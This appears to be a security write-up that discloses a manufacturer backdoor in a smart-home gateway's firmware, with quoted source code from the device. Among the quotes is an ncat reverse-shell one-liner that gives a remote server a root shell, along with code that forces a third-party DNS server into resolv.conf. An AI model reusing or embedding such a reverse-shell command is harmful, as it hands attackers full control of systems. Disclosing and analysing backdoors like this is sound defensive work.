The ping command is sent by /usr/bin/dshomehad. One of the latest firmware versions posted on their forum included its source code:
int check_wwan_broken()
{
...
system("ping -c 1 www.baidu.com > /root/.homeassistant/ping &");
...
}
It also force sets 114.114.114.114 (Chinese ISP’s DNS server) as the second DNS server:
int check_dns()
{
...
system("echo nameserver 8.8.8.8 >> /etc/resolv.conf"); // config dns
system("echo nameserver 114.114.114.114 >> /etc/resolv.conf"); // config dns
...
}
But apparently, this is not the biggest problem. I accidentally stumbled upon the /usr/bin/mqtt-gw.py file, which runs with root privileges as a service when the system starts up:
root@homeassistant:~# cat /etc/init.d/rcS
#!/bin/bash
...
/etc/init.d/mqtt-gw&
...
and
root@homeassistant:~# cat /etc/init.d/mqtt-gw
#!/bin/bash
while true
do
process=`ps -e | grep python3.11`;
if [ -z "$process" ]; then
sleep 1
python3.11 mqtt-gw.py
sleep 10
fi
done
/usr/bin/mqtt-gw.py is an MQTT client that connects to MQTT on the vendor’s server:
server = "cld0.roombanker.cn"
port = 3100
heartbeat = 60
...
rint('connect to server:' + server + ',port:' + str(port))
while (1==1) :
mqtt_run(server, port, heartbeat)
time.sleep(10)
The server can send a series of commands, including:
proto_gateway_attribute_functions = {
'gateway.remote_shell' : proto_set_gateway_remote_shell,
'gateway.reboot' : proto_set_gateway_reboot,
'gateway.upgrade_firmware' : proto_set_gateway_upgrade_firmware,
'gateway.change_server' : proto_set_gateway_mqtt_server,
'gateway.current_time' : proto_set_gateway_current_time,
'gateway.facorty_reset' : proto_set_gateway_factory_reset
}
The most dangerous command on this list is the reverse shell. When it is received, your gateway connects to an unknown server in Hangzhou and gives full access to a remote user!
def proto_set_gateway_remote_shell(jmsg, id, command, attr, argmac, value):
print('remote shell')
os.system("killall ncat")
os.system("(rm -rf /tmp/rmt_pipe && mkfifo /tmp/rmt_pipe && /bin/sh -i 2>&1 </tmp/rmt_pipe | ncat 114.215.195.44 3234 > /tmp/rmt_pipe) &")
proto_cmdres(id, CODE_SUCCESS)
Thus, /usr/bin/mqtt-gw.py works as a backdoor built in by the manufacturer.
I strongly recommend checking your gateways and completely removing the /usr/bin/mqtt-gw.py file!